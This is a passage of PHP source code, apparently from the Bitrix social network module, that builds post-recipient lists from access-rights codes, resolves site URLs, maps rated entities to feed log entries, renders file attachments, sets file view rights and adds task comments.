					$arGroupIdToGet[] = $matches[1];
				}
			}
			elseif (preg_match('/^U(\d+)$/', $right_tmp, $matches))
			{
				if (
					array_key_exists("CREATED_BY", $arParams) 
					&& intval($arParams["CREATED_BY"]) > 0
					&& $arParams["CREATED_BY"] == $matches[1]
				)
				{
					continue;
				}

				$cnt++;
				if (!$bJustCount)
				{
					$arUserIdToGet[] = $matches[1];
				}
			}
			elseif (
				(
					preg_match('/^D(\d+)$/', $right_tmp, $matches)
					|| preg_match('/^DR(\d+)$/', $right_tmp, $matches)
				)
				&& CModule::IncludeModule("iblock")
			)
			{
				$cnt++;
				if (!$bJustCount)
				{
					$arDepartmentIdToGet[] = $matches[1];
				}
			}
			elseif (
				preg_match('/^SG(\d+)_'.SONET_ROLES_USER.'$/', $right_tmp, $matches)
				|| preg_match('/^SG(\d+)$/', $right_tmp, $matches)
			)
			{
				if (
					array_key_exists($matches[1], $arSonetGroups)
					&& is_array($arSonetGroups[$matches[1]])
					&& in_array(SONET_ROLES_USER, $arSonetGroups[$matches[1]])
				)
				{
					continue;
				}

				$cnt++;
				if (!$bJustCount)
				{
					// already cached
					$arSonetGroup = CSocNetGroup::GetByID($matches[1], $bCheckPermissions);
					if ($arSonetGroup)
					{
						$arDestination[] = array(
							"TYPE" => "SG",
							"ID" => $arSonetGroup["ID"],
							"STYLE" => "sonetgroups",
							"TITLE" => $arSonetGroup["NAME"],
							"URL" => str_replace("#group_id#", $arSonetGroup["ID"], $arParams["PATH_TO_GROUP"]),
							"IS_EXTRANET" => (is_array($GLOBALS["arExtranetGroupID"]) && in_array($arSonetGroup["ID"], $GLOBALS["arExtranetGroupID"]) ? "Y" : "N")
						);

						if (!array_key_exists($arSonetGroup["ID"], $arSonetGroups))
							$arSonetGroups[$arSonetGroup["ID"]] = array();
						$arSonetGroups[$arSonetGroup["ID"]][] = SONET_ROLES_USER;
					}
				}
			}
			elseif (preg_match('/^SG(\d+)_'.SONET_ROLES_MODERATOR.'$/', $right_tmp, $matches))
			{
				if (!in_array("SG".$matches[1]."_".SONET_ROLES_USER, $arRights))
				{
					$cnt++;
					if (!$bJustCount)
					{
						$arSonetGroup = CSocNetGroup::GetByID($matches[1], $bCheckPermissions);
						if ($arSonetGroup)
						{
							$arDestination[] = array(
								"TYPE" => "SG",
								"ID" => $arSonetGroup["ID"],
								"STYLE" => "sonetgroups",
								"TITLE" => $arSonetGroup["NAME"].GetMessage("SONET_GL_DESTINATION_SG_MODERATOR"),
								"URL" => str_replace("#group_id#", $arSonetGroup["ID"], $arParams["PATH_TO_GROUP"]),
								"IS_EXTRANET" => (is_array($GLOBALS["arExtranetGroupID"]) && in_array($arSonetGroup["ID"], $GLOBALS["arExtranetGroupID"]) ? "Y" : "N")
							);

							if (!array_key_exists($arSonetGroup["ID"], $arSonetGroups))
								$arSonetGroups[$arSonetGroup["ID"]] = array();
							$arSonetGroups[$arSonetGroup["ID"]][] = SONET_ROLES_MODERATOR;
						}
					}
				}
			}
			elseif (preg_match('/^SG(\d+)_'.SONET_ROLES_OWNER.'$/', $right_tmp, $matches))
			{
				if (!in_array("SG".$matches[1]."_".SONET_ROLES_USER, $arRights) && !in_array("SG".$matches[1]."_".SONET_ROLES_MODERATOR, $arRights))
				{
					$cnt++;
					if (!$bJustCount)
					{
						$arSonetGroup = CSocNetGroup::GetByID($matches[1], $bCheckPermissions);
						if ($arSonetGroup)
						{
							$arDestination[] = array(
								"TYPE" => "SG",
								"ID" => $arSonetGroup["ID"],
								"STYLE" => "sonetgroups",
								"TITLE" => $arSonetGroup["NAME"].GetMessage("SONET_GL_DESTINATION_SG_OWNER"),
								"URL" => str_replace("#group_id#", $arSonetGroup["ID"], $arParams["PATH_TO_GROUP"]),
								"IS_EXTRANET" => (is_array($GLOBALS["arExtranetGroupID"]) && in_array($arSonetGroup["ID"], $GLOBALS["arExtranetGroupID"]) ? "Y" : "N")
							);

							if (!array_key_exists($arSonetGroup["ID"], $arSonetGroups))
								$arSonetGroups[$arSonetGroup["ID"]] = array();
							$arSonetGroups[$arSonetGroup["ID"]][] = SONET_ROLES_OWNER;
						}
					}
				}
			}
			else
			{
				$cnt++;
				if (!$bJustCount)
				{
					foreach ($arModuleEvents as $arEvent)
					{
						ExecuteModuleEventEx($arEvent, array(&$arDestination, $right_tmp, $arRights, $arParams, $bCheckPermissions));
					}
				}
			}
		}

		if (!empty($arGroupIdToGet))
		{
			$rsGroupTmp = \Bitrix\Main\GroupTable::getList(array(
				'select' => array('ID', 'NAME'),
				'filter' => array(
					'ID' => $arGroupIdToGet
				)
			));

			while ($arGroupTmp = $rsGroupTmp->Fetch())
			{
				$arDestination[] = array(
					"TYPE" => "G",
					"ID" => $arGroupTmp["ID"],
					"STYLE" => "groups",
					"TITLE" => $arGroupTmp["NAME"],
					"URL" => ""
				);
			}
		}

		if (!empty($arUserIdToGet))
		{
			$arSelect = array('ID', 'NAME', 'LAST_NAME', 'SECOND_NAME', 'LOGIN', 'EMAIL');
			if (IsModuleInstalled('mail'))
			{
				$arSelect[] = 'EXTERNAL_AUTH_ID';
			}
			if (IsModuleInstalled('crm'))
			{
				$arSelect[] = 'UF_USER_CRM_ENTITY';
			}

			$rsUserTmp = \Bitrix\Main\UserTable::getList(array(
				'order' => array(),
				'filter' => array(
					"ID" => $arUserIdToGet
				),
				'select' => $arSelect
			));

			while ($arUserTmp = $rsUserTmp->Fetch())
			{
				$arDestination[] = array(
					"TYPE" => "U",
					"ID" => $arUserTmp["ID"],
					"STYLE" => "users",
					"TITLE" => CUser::FormatName($arParams["NAME_TEMPLATE"], $arUserTmp, ($arParams["SHOW_LOGIN"] == "Y")),
					"URL" => str_replace("#user_id#", $arUserTmp["ID"], $arParams["PATH_TO_USER"]),
					"IS_EXTRANET" => (is_array($GLOBALS["arExtranetUserID"]) && in_array($arUserTmp["ID"], $GLOBALS["arExtranetUserID"]) ? "Y" : "N"),
					"IS_EMAIL" => (isset($arUserTmp["EXTERNAL_AUTH_ID"]) && $arUserTmp["EXTERNAL_AUTH_ID"] == 'email' ? "Y" : "N"),
					"CRM_ENTITY" => (!empty($arUserTmp["UF_USER_CRM_ENTITY"]) ? $arUserTmp["UF_USER_CRM_ENTITY"] : false)
				);
			}
		}

		if (!empty($arDepartmentIdToGet))
		{
			foreach ($arDepartmentIdToGet as $key => $value)
			{
				if (array_key_exists($value, $arDepartmentsStaticCache))
				{
					$arDestination[] = array(
						"TYPE" => "D",
						"ID" => $arDepartmentsStaticCache[$value]["ID"],
						"STYLE" => "department",
						"TITLE" => $arDepartmentsStaticCache[$value]["NAME"],
						"URL" => str_replace(array("#ID#", "#id#"), $arDepartmentsStaticCache[$value]["ID"], $arParams["PATH_TO_CONPANY_DEPARTMENT"])
					);
					unset($arDepartmentIdToGet[$key]);
				}
			}

			if (!empty($arDepartmentIdToGet))
			{
				$rsDepartmentTmp = CIBlockSection::GetList(
					array(),
					array(
						"ID" => $arDepartmentIdToGet
					),
					false,
					array('ID', 'NAME')
				);

				while ($arDepartmentTmp = $rsDepartmentTmp->GetNext())
				{
					$arDestination[] = array(
						"TYPE" => "D",
						"ID" => $arDepartmentTmp["ID"],
						"STYLE" => "department",
						"TITLE" => $arDepartmentTmp["NAME"],
						"URL" => str_replace(array("#ID#", "#id#"), $arDepartmentTmp["ID"], $arParams["PATH_TO_CONPANY_DEPARTMENT"])
					);
					$arDepartmentsStaticCache[$arDepartmentTmp["ID"]] = $arDepartmentTmp;
				}
			}
		}

		$db_events = GetModuleEvents("socialnetwork", "OnAfterSocNetLogFormatDestination");
		while ($arEvent = $db_events->Fetch())
		{
			ExecuteModuleEventEx($arEvent, array(&$arDestination));
		}

		if ($cnt > $arParams["DESTINATION_LIMIT"])
		{
			$iMoreCount = $cnt - $arParams["DESTINATION_LIMIT"];
		}

		return $arDestination;
	}

	function GetDestinationFromRights($arRights, $arParams)
	{
		if (empty($arRights))
		{
			return array();
		}

		$arDestination = array();
		$arSonetGroups = array();

		$arRights = array_unique($arRights);

		$bAll = false;
		$arParams["DESTINATION_LIMIT"] = (intval($arParams["DESTINATION_LIMIT"]) <= 0 ? 3 : $arParams["DESTINATION_LIMIT"]);
		$bCheckPermissions = (!array_key_exists("CHECK_PERMISSIONS_DEST", $arParams) || $arParams["CHECK_PERMISSIONS_DEST"] != "N");

		foreach($arRights as $right_tmp)
		{
			if (in_array($right_tmp, array("G1")) && count($arRights) > 1)
				continue;
			elseif (in_array($right_tmp, array("G2", "AU")))
			{
				if ($bAll)
					continue;

				$arDestination[] = $right_tmp;
				$bAll = true;
			}
			elseif (preg_match('/^G(\d+)$/', $right_tmp, $matches))
				$arDestination[] = $matches[1];
			elseif (preg_match('/^U(\d+)$/', $right_tmp, $matches))
			{
				if (
					array_key_exists("CREATED_BY", $arParams) 
					&& intval($arParams["CREATED_BY"]) > 0
					&& $arParams["CREATED_BY"] == $matches[1]
				)
					continue;

				$arDestination[] = $right_tmp;
			}
			elseif (
				preg_match('/^D(\d+)$/', $right_tmp, $matches)
				|| preg_match('/^DR(\d+)$/', $right_tmp, $matches)
			)
				$arDestination[] = $right_tmp;
			elseif (
				preg_match('/^SG(\d+)_'.SONET_ROLES_USER.'$/', $right_tmp, $matches)
				|| preg_match('/^SG(\d+)$/', $right_tmp, $matches)
			)
			{
				if (
					array_key_exists($matches[1], $arSonetGroups)
					&& is_array($arSonetGroups[$matches[1]])
					&& in_array(SONET_ROLES_USER, $arSonetGroups[$matches[1]])
				)
					continue;

				// already cached
				$arSonetGroup = CSocNetGroup::GetByID($matches[1], $bCheckPermissions);
				if ($arSonetGroup)
				{
					$arDestination[] = "SG".$matches[1];

					if (!array_key_exists($arSonetGroup["ID"], $arSonetGroups))
						$arSonetGroups[$arSonetGroup["ID"]] = array();
					$arSonetGroups[$arSonetGroup["ID"]][] = SONET_ROLES_USER;
				}
			}
			elseif (preg_match('/^SG(\d+)_'.SONET_ROLES_MODERATOR.'$/', $right_tmp, $matches))
			{
				if (!in_array("SG".$matches[1]."_".SONET_ROLES_USER, $arRights))
				{
					$arSonetGroup = CSocNetGroup::GetByID($matches[1], $bCheckPermissions);
					if ($arSonetGroup)
					{
						$arDestination[] = "SG".$matches[1];

						if (!array_key_exists($arSonetGroup["ID"], $arSonetGroups))
							$arSonetGroups[$arSonetGroup["ID"]] = array();
						$arSonetGroups[$arSonetGroup["ID"]][] = SONET_ROLES_MODERATOR;
					}
				}
			}
			elseif (preg_match('/^SG(\d+)_'.SONET_ROLES_OWNER.'$/', $right_tmp, $matches))
			{
				if (
					!in_array("SG".$matches[1]."_".SONET_ROLES_USER, $arRights) 
					&& !in_array("SG".$matches[1]."_".SONET_ROLES_MODERATOR, $arRights)
				)
				{
					$arSonetGroup = CSocNetGroup::GetByID($matches[1], $bCheckPermissions);
					if ($arSonetGroup)
					{
						$arDestination[] = "SG".$matches[1];

						if (!array_key_exists($arSonetGroup["ID"], $arSonetGroups))
							$arSonetGroups[$arSonetGroup["ID"]] = array();
						$arSonetGroups[$arSonetGroup["ID"]][] = SONET_ROLES_OWNER;
					}
				}
			}
		}

		return $arDestination;
	}

	public static function ProcessPath($arUrl, $user_id, $explicit_site_id = false)
	{
		static $arIntranetUsers, $arSiteData, $extranet_site_id, $intranet_site_id;

		if (!is_array($arUrl))
			$arUrl = array($arUrl);

		if (
			CModule::IncludeModule("extranet")
			&& !$arIntranetUsers
		)
		{
			$extranet_site_id = CExtranet::GetExtranetSiteID();
			$intranet_site_id = CSite::GetDefSite();
			$arIntranetUsers = CExtranet::GetIntranetUsers();
		}

		if (!$arSiteData)
		{
			$arSiteData = self::GetSiteData();
		}

		$user_site_id = (
			IsModuleInstalled("extranet") 
				? (
					(!in_array($user_id, $arIntranetUsers) && $extranet_site_id) 
						? $extranet_site_id 
						: ($explicit_site_id ? $explicit_site_id : $intranet_site_id)
				)
				: ($explicit_site_id ? $explicit_site_id : SITE_ID)
		);

		$server_name = (CMain::IsHTTPS() ? "https" : "http")."://".$arSiteData[$user_site_id]["SERVER_NAME"];

		$arUrl = str_replace(
			array("#SERVER_NAME#", "#GROUPS_PATH#", "#USER_PATH#"),
			array(
				$server_name,
				$arSiteData[$user_site_id]["GROUPS_PATH"],
				$arSiteData[$user_site_id]["USER_PATH"]
			),
			$arUrl
		);

		return array(
			"SERVER_NAME" => $server_name, 
			"URLS" => $arUrl,
			"DOMAIN" => (count($arSiteData) > 1 ? $arSiteData[$user_site_id]["SERVER_NAME"] : false)
		);
	}

	public static function GetSiteData()
	{
		$arSiteData = array();

		$rsSite = CSite::GetList($by="sort", $order="desc", Array("ACTIVE" => "Y"));
		while ($arSite = $rsSite->Fetch())
		{
			$serverName = htmlspecialcharsEx($arSite["SERVER_NAME"]);
			$arSiteData[$arSite["ID"]] = array(
				"GROUPS_PATH" => COption::GetOptionString("socialnetwork", "workgroups_page", $arSite["DIR"]."workgroups/", $arSite["ID"]),
				"USER_PATH" => COption::GetOptionString("socialnetwork", "user_page", $arSite["DIR"]."company/personal/", $arSite["ID"]),
				"SERVER_NAME" => (
					strlen($serverName) > 0
						? $serverName
						: (
							defined("SITE_SERVER_NAME") && strlen(SITE_SERVER_NAME) > 0
								? SITE_SERVER_NAME
								: COption::GetOptionString("main", "server_name", "")
						)
				)
			);
		}

		return $arSiteData;
	}

	function ShowSourceType($source_type = false, $bMobile = false)
	{
		if (!$source_type)
			return false;
		else
		{
			$events = GetModuleEvents("socialnetwork", "OnShowSocNetSourceType");
			while ($arEvent = $events->Fetch())
			{
				$arResult = ExecuteModuleEventEx($arEvent, array($source_type, $bMobile));
				if (is_array($arResult))
					return $arResult;
			}
		}
	}

	public static function GetDataFromRatingEntity($rating_entity_type_id, $rating_entity_id, $bCheckRights = true)
	{
		static $blogPostEventIdList = null;

		$rating_entity_type_id = preg_replace("/[^a-z0-9_-]/i", "", $rating_entity_type_id);
		$rating_entity_id = intval($rating_entity_id);
		
		if (strlen($rating_entity_type_id) <= 0)
			return false;
			
		if ($rating_entity_id <= 0)
			return false;

		switch ($rating_entity_type_id)
		{
			case "BLOG_POST":
				$log_type = "log";
				if ($blogPostEventIdList === null)
				{
					$blogPostLivefeedProvider = new \Bitrix\Socialnetwork\Livefeed\BlogPost;
					$blogPostEventIdList = $blogPostLivefeedProvider->getEventId();
				}
				$log_event_id = array_merge($blogPostEventIdList, array("idea"));
				break;
			case "BLOG_COMMENT":
				$log_type = "comment";
				$log_event_id = array("blog_comment", "photo_comment");
				break;
			case "FORUM_TOPIC":
				$log_type = "log";
				$log_event_id = array("forum");
				if (CModule::IncludeModule("forum"))
				{
					$dbForumMessage = CForumMessage::GetList(
						array("ID" => "ASC"), 
						array("TOPIC_ID" => $rating_entity_id),
						false,
						1
					);
					if ($arForumMessage = $dbForumMessage->Fetch())
					{
						$rating_entity_id = $arForumMessage["ID"];
					}
				}
				break;
			case "FORUM_POST":
				$log_type = "comment";
				$log_event_id = array("forum", "photo_comment", "files_comment", "commondocs_comment", "tasks_comment", "wiki_comment", "news_comment", "lists_new_element_comment", "calendar_comment");
				break;
			case "IBLOCK_ELEMENT":
				$log_type = "log";
				$log_event_id = array("photo_photo", "files", "commondocs", "wiki");
				break;
			case "INTRANET_NEW_USER":
				$log_type = "log";
				$log_event_id = array("intranet_new_user");
				break;
			case "INTRANET_NEW_USER_COMMENT":
				$log_type = "comment";
				$log_event_id = array("intranet_new_user_comment");
				break;
			case "BITRIX24_NEW_USER":
				$log_type = "log";
				$log_event_id = array("bitrix24_new_user");
				break;
			case "BITRIX24_NEW_USER_COMMENT":
				$log_type = "comment";
				$log_event_id = array("bitrix24_new_user_comment");
				break;
			case "VOTING":
				$log_type = "log";
				if ($blogPostEventIdList === null)
				{
					$blogPostLivefeedProvider = new \Bitrix\Socialnetwork\Livefeed\BlogPost;
					$blogPostEventIdList = $blogPostLivefeedProvider->getEventId();
				}
				$log_event_id = $blogPostEventIdList;
				if (CModule::IncludeModule("blog"))
				{
					$rsBlogPost = CBlogPost::GetList(
						array("ID" => "DESC"), 
						array("UF_BLOG_POST_VOTE" => $rating_entity_id),
						false,
						array("nTopCount" => 1),
						array("ID")
					);

					if ($arBlogPost = $rsBlogPost->Fetch())
					{
						$rating_entity_id = $arBlogPost["ID"];
					}
				}
				break;
			case "LISTS_NEW_ELEMENT":
				$log_type = "log";
				$log_event_id = array("lists_new_element");
				break;
			case "LOG_ENTRY":
				$log_type = "log_entry";
				break;
			case "LOG_COMMENT":
				$log_type = "log_comment";
				break;
			default:
		}

		if ($log_type == "log")
		{
			$rsLogSrc = CSocNetLog::GetList(
				array(),
				array(
					"EVENT_ID" => $log_event_id,
					"SOURCE_ID" => $rating_entity_id
				),
				false,
				false,
				array("ID"),
				array(
					"CHECK_RIGHTS" => ($bCheckRights ? "Y" : "N"),
					"USE_SUBSCRIBE" => "N"
				)
			);
			if ($arLogSrc = $rsLogSrc->Fetch())
			{
				$log_id = $arLogSrc["ID"];
			}
		}
		elseif ($log_type == "log_entry")
		{
			$rsLogSrc = CSocNetLog::GetList(
				array(),
				array(
					"ID" => $rating_entity_id
				),
				false,
				false,
				array("ID"),
				array(
					"CHECK_RIGHTS" => ($bCheckRights ? "Y" : "N"),
					"USE_SUBSCRIBE" => "N"
				)
			);
			if ($arLogSrc = $rsLogSrc->Fetch())
				$log_id = $arLogSrc["ID"];
		}
		elseif ($log_type == "comment")
		{
			$rsLogCommentSrc = CSocNetLogComments::GetList(
				array(),
				array(
					"EVENT_ID" => $log_event_id,
					"SOURCE_ID" => $rating_entity_id
				),
				false,
				false,
				array("ID", "LOG_ID"),
				array(
					"CHECK_RIGHTS" => ($bCheckRights ? "Y" : "N"),
					"USE_SUBSCRIBE" => "N"
				)
			);
			if ($arLogCommentSrc = $rsLogCommentSrc->Fetch())
			{
				$log_id = $arLogCommentSrc["LOG_ID"];
				$log_comment_id = $arLogCommentSrc["ID"];
			}
		}
		elseif ($log_type == "log_comment")
		{
			$rsLogCommentSrc = CSocNetLogComments::GetList(
				array(),
				array(
					"ID" => $rating_entity_id
				),
				false,
				false,
				array("ID", "LOG_ID"),
				array(
					"CHECK_RIGHTS" => ($bCheckRights ? "Y" : "N"),
					"USE_SUBSCRIBE" => "N"
				)
			);
			if ($arLogCommentSrc = $rsLogCommentSrc->Fetch())
			{
				$log_id = $arLogCommentSrc["LOG_ID"];
				$log_comment_id = $arLogCommentSrc["ID"];
			}
		}
		
		if ($log_id > 0)
		{
			$arResult = array("LOG_ID" => $log_id);
			if ($log_comment_id > 0)
				$arResult["LOG_COMMENT_ID"] = $log_comment_id;

			return $arResult;
		}
		else
			return false;
	}

	function AddComment_Photo($arFields)
	{
		return CSocNetPhotoCommentEvent::AddComment_Photo($arFields);
	}

	function AddComment_Photo_Forum($arFields, $FORUM_ID, $arLog)
	{
		return CSocNetPhotoCommentEvent::AddComment_Photo_Forum($arFields, $FORUM_ID, $arLog);
	}

	function AddComment_Photo_Blog($arFields, $BLOG_ID, $arLog)
	{
		return CSocNetPhotoCommentEvent::AddComment_Photo_Blog($arFields, $BLOG_ID, $arLog);
	}
	
	function logUFfileShow($arResult, $arParams)
	{
		$result = false;
		if (
			$arParams["arUserField"]["FIELD_NAME"] == "UF_SONET_COM_FILE" 
			|| strpos($arParams["arUserField"]["FIELD_NAME"], "UF_SONET_COM_FILE") === 0
			|| $arParams["arUserField"]["FIELD_NAME"] == "UF_SONET_LOG_FILE"
			|| strpos($arParams["arUserField"]["FIELD_NAME"], "UF_SONET_LOG_FILE") === 0
		)
		{
			if (
				$arParams["arUserField"]["FIELD_NAME"] == "UF_SONET_COM_FILE" 
				|| strpos($arParams["arUserField"]["FIELD_NAME"], "UF_SONET_COM_FILE") === 0
			)
				$type = "comment";
			else
				$type = "post";

			if (sizeof($arResult["VALUE"]) > 0)
			{
				?><div class="feed-com-files">
					<div class="feed-com-files-title"><?=GetMessage("LOG_FILES")?></div>
					<div class="feed-com-files-cont"><?

					foreach ($arResult["VALUE"] as $fileID)
					{
						$arFile = CFile::GetFileArray($fileID);
						if($arFile)
						{
							$name = $arFile["ORIGINAL_NAME"];
							$ext = '';
							$dotpos = strrpos($name, ".");
							if (($dotpos !== false) && ($dotpos+1 < strlen($name)))
								$ext = substr($name, $dotpos+1);
							if (strlen($ext) < 3 || strlen($ext) > 5)
								$ext = '';
							$arFile["EXTENSION"] = $ext;
							$arFile["LINK"] = "/bitrix/components/bitrix/socialnetwork.log.ex/show_file.php?fid=".$fileID."&ltype=".$type;
							$arFile["FILE_SIZE"] = CFile::FormatSize($arFile["FILE_SIZE"]);
							?><div id="wdif-doc-<?=$arFile["ID"]?>" class="feed-com-file-wrap">
								<div class="feed-con-file-name-wrap">
									<div class="feed-con-file-icon feed-file-icon-<?=htmlspecialcharsbx($arFile["EXTENSION"])?>"></div>
									<a target="_blank" href="<?=htmlspecialcharsbx($arFile["LINK"])?>" class="feed-com-file-name"><?=htmlspecialcharsbx($arFile["ORIGINAL_NAME"])?></a>
									<span class="feed-con-file-size">(<?=$arFile["FILE_SIZE"]?>)</span>
								</div>
							</div><?
						}
					}

					?></div>
				</div><?
			}

			$result = true;
		}
		return $result;
	}

	public static function SetUFRights($files, $rights)
	{
		static $arTasks = null;
		global $USER;

		if (!CModule::IncludeModule('iblock') || !CModule::IncludeModule('webdav'))
			return false;

		if (!is_array($rights) || count($rights) <= 0)
			return false;

		if ($files === null || $files===false)
			return false;
		if (!is_array($files))
			$files = array($files);
			
		$arFiles = array();
		foreach($files as $id)
		{
			$id = intval($id);
			if (intval($id) > 0)
				$arFiles[] = $id;
		}

		if (count($arFiles) <= 0)
			return false;

		if ($arTasks == null)
			$arTasks = CWebDavIblock::GetTasks();

		$arCodes = array();
		foreach($rights as $value)
		{
			if (substr($value, 0, 2) === 'SG')
				$arCodes[] = $value.'_K';
			$arCodes[] = $value;
		}
		$arCodes = array_unique($arCodes);

		$i=0;
		$arViewRights = array();
		$curUserID = 'U'.$USER->GetID();
		foreach($arCodes as $right)
		{
			if ($curUserID == $right) // do not override owner's rights
				continue;
			$key = "n".$i++;
			$arViewRights[$key] = array(
				"GROUP_CODE" => $right,
				"TASK_ID" => $arTasks["R"],
			);
		}

		$ibe = new CIBlockElement();
		$dbWDFile = $ibe->GetList(array(), array("ID" => $arFiles, "SHOW_NEW" => "Y"), false, false, array("ID", "NAME", "SECTION_ID", "IBLOCK_ID", "WF_NEW"));
		$iblockIds = array();
		if ($dbWDFile)
		{
			while ($arWDFile = $dbWDFile->Fetch())
			{
				$id = $arWDFile["ID"];

				if ($arWDFile["WF_NEW"] == "Y")
					$ibe->Update($id, array("BP_PUBLISHED" => "Y"));

				if (CIBlock::GetArrayByID($arWDFile['IBLOCK_ID'], "RIGHTS_MODE") === "E")
				{
					$ibRights = CWebDavIblock::_get_ib_rights_object("ELEMENT", $id, $arWDFile["IBLOCK_ID"]);
					$ibRights->SetRights(CWebDavTools::appendRights($ibRights, $arViewRights, $arTasks));
					if(empty($iblockIds[$arWDFile["IBLOCK_ID"]]))
						$iblockIds[$arWDFile["IBLOCK_ID"]] = $arWDFile["IBLOCK_ID"];
				}
			}

			global $CACHE_MANAGER;

			foreach ($iblockIds as $iblockId)
				$CACHE_MANAGER->ClearByTag("iblock_id_".$iblockId);

			unset($iblockId);
		}

		return false;
	}
	
	public static function GetAvailableGroups($isExtranetUser = false, $isExtranetSite = false)
	{
		static $arSonetGroupIDAvailable = false;
		global $CACHE_MANAGER, $USER;

		if (is_array($arSonetGroupIDAvailable))
		{
			return $arSonetGroupIDAvailable;
		}
		else
		{
			$arSonetGroupIDAvailable = array();

			if (!$isExtranetUser)
			{
				$isExtranetUser = (CModule::IncludeModule("extranet") && !CExtranet::IsIntranetUser() ? "Y" : "N");
			}

			if (!$isExtranetSite)
			{
				$isExtranetSite = (CModule::IncludeModule("extranet") && CExtranet::IsExtranetSite() ? "Y" : "N");
			}

			$cache = new CPHPCache;
			$cache_time = 31536000;
			$cache_id = $USER->GetID().($isExtranetUser == "Y" ? "_ex" : "");
			$cache_path = "/sonet/groups_available/".$USER->GetID()."/";

			if ($cache->InitCache($cache_time, $cache_id, $cache_path))
			{
				$arCacheVars = $cache->GetVars();
				$arSonetGroupIDAvailable = $arCacheVars["arGroupID"];
			}
			else
			{
				$cache->StartDataCache($cache_time, $cache_id, $cache_path);
				if (defined("BX_COMP_MANAGED_CACHE"))
				{
					$CACHE_MANAGER->StartTagCache($cache_path);
					$CACHE_MANAGER->RegisterTag("sonet_user2group_U".$USER->GetID());
					$CACHE_MANAGER->RegisterTag("sonet_group");
				}

				$arFilter = array("CHECK_PERMISSIONS" => $USER->GetID());

				if (
					$isExtranetUser == "Y"
					&& $isExtranetSite == "Y"
					&& CModule::IncludeModule("extranet")
				)
				{
					$arFilter["SITE_ID"] = CExtranet::GetExtranetSiteID();
				}

				$rsGroup = CSocNetGroup::GetList(
					array(),
					$arFilter,
					false,
					false,
					array("ID")
				);
				while($arGroup = $rsGroup->Fetch())
				{
					$arSonetGroupIDAvailable[] = $arGroup["ID"];
				}

				$arCacheData = array(
					"arGroupID" => $arSonetGroupIDAvailable
				);

				if(defined("BX_COMP_MANAGED_CACHE"))
				{
					$CACHE_MANAGER->EndTagCache();
				}

				$cache->EndDataCache($arCacheData);
			}

			return $arSonetGroupIDAvailable;
		}
	}

	public static function GetForumCommentMetaData($logEventId)
	{
		static $arData = array(
//			"blog_post" => array("BLOG", "BG"),
			"tasks" => array("TASK", "TK", "FORUM|COMMENT"),
			"forum" => array("FORUM", "FM", "FORUM|COMMENT"),
			"photo_photo" => array("PHOTO", "PH", "FORUM|COMMENT"),
			"sonet" => array("SOCNET", "SC", ""),
			"calendar" => array("EVENT", "EV", ""),
			"lists_new_element" => array("WF", "WF", ""),
			"news" => array("IBLOCK", "IB", ""),
			"wiki" => array("IBLOCK", "IB", ""),
			"timeman_entry"=> array("TIMEMAN_ENTRY", "TE", ""),
			"report"=> array("TIMEMAN_REPORT", "TR", ""),
		);

		$arRes = false;

		if (isset($arData[$logEventId]))
		{
			$arRes = $arData[$logEventId];
		}

		return $arRes;
	}

	///////////////////////////////
	// working with task comments
	///////////////////////////////

	function AddComment_Tasks($arFields)
	{
		global $USER, $USER_FIELD_MANAGER;

		if (!CModule::IncludeModule("forum"))
			return false;

		if (!CModule::IncludeModule("tasks"))
			return false;

		$sError = '';
		$sNote = '';
		$messageID = $ufUrlPreview = false;

		$arFieldsMessage = array();
		$ufFileID = array();
		$ufDocID = array();

		$dbResult = CSocNetLog::GetList(
			array(),
			array("ID" => $arFields["LOG_ID"]),
			false,
			false,
			array("ID", "SOURCE_ID", "SITE_ID")
		);

		if ($arLog = $dbResult->Fetch())
		{
			$rsTask = CTasks::getById($arLog["SOURCE_ID"]);
			if ($arTask = $rsTask->Fetch())
			{
				$forumID = \Bitrix\Tasks\Integration\SocialNetwork\Task::getCommentForumId();
				if ($forumID)
				{
					$userID = $USER->GetID();

					/////////////////////////////////////////
					// file prop & UF_* forwarding

					$arLogSites = array();
					$rsLogSite = CSocNetLog::GetSite($arLog["ID"]);
					while ($arLogSite = $rsLogSite->Fetch())
						$arLogSites[] = $arLogSite["LID"];

					$bCurrentUserIsAdmin = CSocNetUser::isCurrentUserModuleAdmin($arLogSites);
					$strPermission = false;

					if ($arFields["ENTITY_TYPE"] == SONET_ENTITY_GROUP)
					{
						if (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_GROUP, $arFields["ENTITY_ID"], "tasks", "view", $bCurrentUserIsAdmin))
							$strPermission = "I";
					}
					else
					{
						if (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_USER, $arFields["ENTITY_ID"], "tasks", "view", $bCurrentUserIsAdmin))
							$strPermission = "I";
					}

					$arFieldsMessage = array(
						"POST_MESSAGE" => $arFields["TEXT_MESSAGE"],
						"USE_SMILES" => "Y",
						"PERMISSION_EXTERNAL" => "Q",
						"PERMISSION" => $strPermission,
						"APPROVED" => "Y"
					);

					$USER_FIELD_MANAGER->EditFormAddFields("SONET_COMMENT", $arTmp);
					if (is_array($arTmp))
					{
						if (array_key_exists("UF_SONET_COM_DOC", $arTmp))
						{
							$GLOBALS["UF_FORUM_MESSAGE_DOC"] = $arTmp["UF_SONET_COM_DOC"];
						}
						elseif (array_key_exists("UF_SONET_COM_FILE", $arTmp))
						{
							$arFieldsMessage["FILES"] = array();
							foreach($arTmp["UF_SONET_COM_FILE"] as $file_id)
							{
								$arFieldsMessage["FILES"][] = array("FILE_ID" => $file_id);
							}
						}

						if (array_key_exists("UF_SONET_COM_URL_PRV", $arTmp))
						{
							$GLOBALS["UF_FORUM_MES_URL_PRV"] = $arTmp["UF_SONET_COM_URL_PRV"];
						}
					}

					// file prop & UF_* forwarding END
					/////////////////////////////////////////

					$feed = new \Bitrix\Forum\Comments\Feed(
						$forumID,
						array(
							"type" => "TK",
							"id" => $arTask['ID'],
							"xml_id" => "TASK_".$arTask['ID']
						)
					);

					\Bitrix\Tasks\Integration\SocialNetwork::disable(); // disable socnet on comment add to avoid recursion
					$message = $feed->add($arFieldsMessage);
					\Bitrix\Tasks\Integration\SocialNetwork::enable(); // enable it back

					if(is_array($message))
					{
						$messageID = $message['ID'];
					}
					else
					{
						foreach($feed->getErrors() as $error)
						{
							$sError .= $error->getMessage();
						}
					}

					// get UF DOC value and FILE_ID there
					if ($messageID > 0)
					{
						// legacy files? will it work?
						$dbAddedMessageFiles = CForumFiles::GetList(array("ID" => "ASC"), array("MESSAGE_ID" => $messageID));
						while ($arAddedMessageFiles = $dbAddedMessageFiles->Fetch())
							$ufFileID[] = $arAddedMessageFiles["FILE_ID"];

						// files in UF_*
